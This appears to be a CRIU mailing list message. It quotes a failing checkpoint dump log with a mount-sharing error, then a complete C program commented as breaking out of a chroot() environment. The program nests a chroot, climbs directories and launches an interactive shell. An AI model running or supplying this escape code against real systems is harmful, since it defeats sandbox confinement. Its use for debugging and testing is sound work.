> > (00.919278) 	type tmpfs source tmpfs 13 / @ ./mnt/obb flags 280000 options mode=755,gid=1000,
> > (00.919541) 	type unsupported source /dev/block/mtdblock0 1f00000 / @ ./system flags 280001 options data=ordered,
> > (00.919824) 	type unsupported source /dev/block/mtdblock1 1f00001 / @ ./data flags 80406 options data=ordered,
> > (00.920084) 	type unsupported source /dev/block/mtdblock2 1f00002 / @ ./cache flags 80406 options 
> > (00.920491) Building mountpoints tree
> > (00.920653) 	Building plain mount tree
> > (00.920808) 		Working on 58->47
> > (00.920943) 		Working on 57->47
> > (00.921077) 		Working on 56->47
> > (00.921209) 		Working on 55->47
> > (00.921341) 		Working on 54->47
> > (00.921503) 		Working on 53->52
> > (00.921635) 		Working on 52->47
> > (00.921787) 		Working on 51->49
> > (00.921920) 		Working on 50->49
> > (00.922051) 		Working on 49->47
> > (00.922183) 		Working on 48->47
> > (00.922314) 		Working on 47->46
> > (00.922447) 	Resorting siblings on 47
> > (00.922582) 	Resorting siblings on 58
> > (00.922733) 	Resorting siblings on 57
> > (00.922872) 	Resorting siblings on 56
> > (00.923005) 	Resorting siblings on 55
> > (00.923140) 	Resorting siblings on 54
> > (00.923291) 	Resorting siblings on 52
> > (00.923425) 	Resorting siblings on 53
> > (00.923558) 	Resorting siblings on 49
> > (00.923690) 	Resorting siblings on 51
> > (00.923839) 	Resorting siblings on 50
> > (00.923972) 	Resorting siblings on 48
> > (00.924106) Error (mount.c:517): Mount 58 (master_id: 12 shared_id: 0) has unreachable sharing
> > (00.924298) Unlock network
> > (00.924430) Running network-unlock scripts
> > (00.925009) Unfreezing tasks into 1
> > (00.925155) 	Unseizing 79 into 1
> > (00.925537) 	Unseizing 82 into 1
> > (00.925924) 	Unseizing 329 into 1
> > (00.926236) 	Unseizing 330 into 1
> > (00.926813) 	Unseizing 331 into 1
> > (00.927308) 	Unseizing 332 into 1
> > (00.928112) 	Unseizing 333 into 1
> > (00.928854) 	Unseizing 335 into 1
> > (00.930017) 	Unseizing 338 into 1
> > (00.931919) 	Unseizing 339 into 1
> > (00.934187) 	Unseizing 341 into 1
> > (00.936200) 	Unseizing 342 into 1
> > (00.936728) 	Unseizing 343 into 1
> > (00.937140) 	Unseizing 345 into 1
> > (00.938086) 	Unseizing 346 into 1
> > (00.938344) 	Unseizing 347 into 1
> > (00.938533) 	Unseizing 348 into 1
> > (00.938873) 	Unseizing 705 into 1
> > (00.940906) 	Unseizing 780 into 1
> > (00.941629) 	Unseizing 848 into 1
> > (00.942111) 	Unseizing 902 into 1
> > (00.942543) 	Unseizing 925 into 1
> > (00.943602) 	Unseizing 940 into 1
> > (00.944340) 	Unseizing 964 into 1
> > (00.945147) 	Unseizing 1023 into 1
> > (00.946335) 	Unseizing 1062 into 1
> > (00.946846) 	Unseizing 1078 into 1
> > (00.947460) 	Unseizing 1107 into 1
> > (00.958157) 	Unseizing 1127 into 1
> > (00.958979) 	Unseizing 1150 into 1
> > (00.959813) 	Unseizing 1209 into 1
> > (00.960450) 	Unseizing 1224 into 1
> > (00.961280) 	Unseizing 1244 into 1
> > (00.962126) 	Unseizing 1275 into 1
> > (00.962992) 	Unseizing 1294 into 1
> > (00.963854) 	Unseizing 1339 into 1
> > (00.964596) 	Unseizing 1374 into 1
> > (00.965203) 	Unseizing 1412 into 1
> > (00.965842) 	Unseizing 1455 into 1
> > (00.966305) 	Unseizing 1483 into 1
> > (00.978492) 	Unseizing 349 into 1
> > (00.978914) 	Unseizing 350 into 1
> > (00.980006) Error (cr-dump.c:1882): Dumping FAILED.
> > _______________________________________________
> > CRIU mailing list
> > CRIU at openvz.org
> > https://lists.openvz.org/mailman/listinfo/criu
> 

> #include <stdio.h>
> #include <errno.h>
> #include <fcntl.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <stdlib.h>
> 
> #define TEMP_DIR "waterbuffalo"
> 
> /* Break out of a chroot() environment in C */
> 
> int main() {
> 	int x;						/* Used to move up a directory tree */
> 	int done=0;			 /* Are we done yet ? */
> 	struct stat sbuf; /* The stat() buffer */
> 
> 	if (stat(TEMP_DIR,&sbuf)<0) {
> 		if (errno==ENOENT) {
> 			if (mkdir(TEMP_DIR,0755)<0) {
> 				fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
> 								strerror(errno));
> 				exit(1);
> 			}
> 		} else {
> 			fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
> 							strerror(errno));
> 			exit(1);
> 		}
> 	} else if (!S_ISDIR(sbuf.st_mode)) {
> 		fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
> 		exit(1);
> 	}
> 
> 	if (chroot(TEMP_DIR)<0) {
> 		fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
> 						strerror(errno));
> 		exit(1);
> 	}
> 
> 	for(x=0;x<1024;x++) {
> 		chdir("..");
> 	}
> 	chroot(".");
> 
> 	if (execl("/bin/sh","-i",NULL)<0) {
> 		fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
> 		exit(1);
> 	}
> }



More information about the CRIU mailing list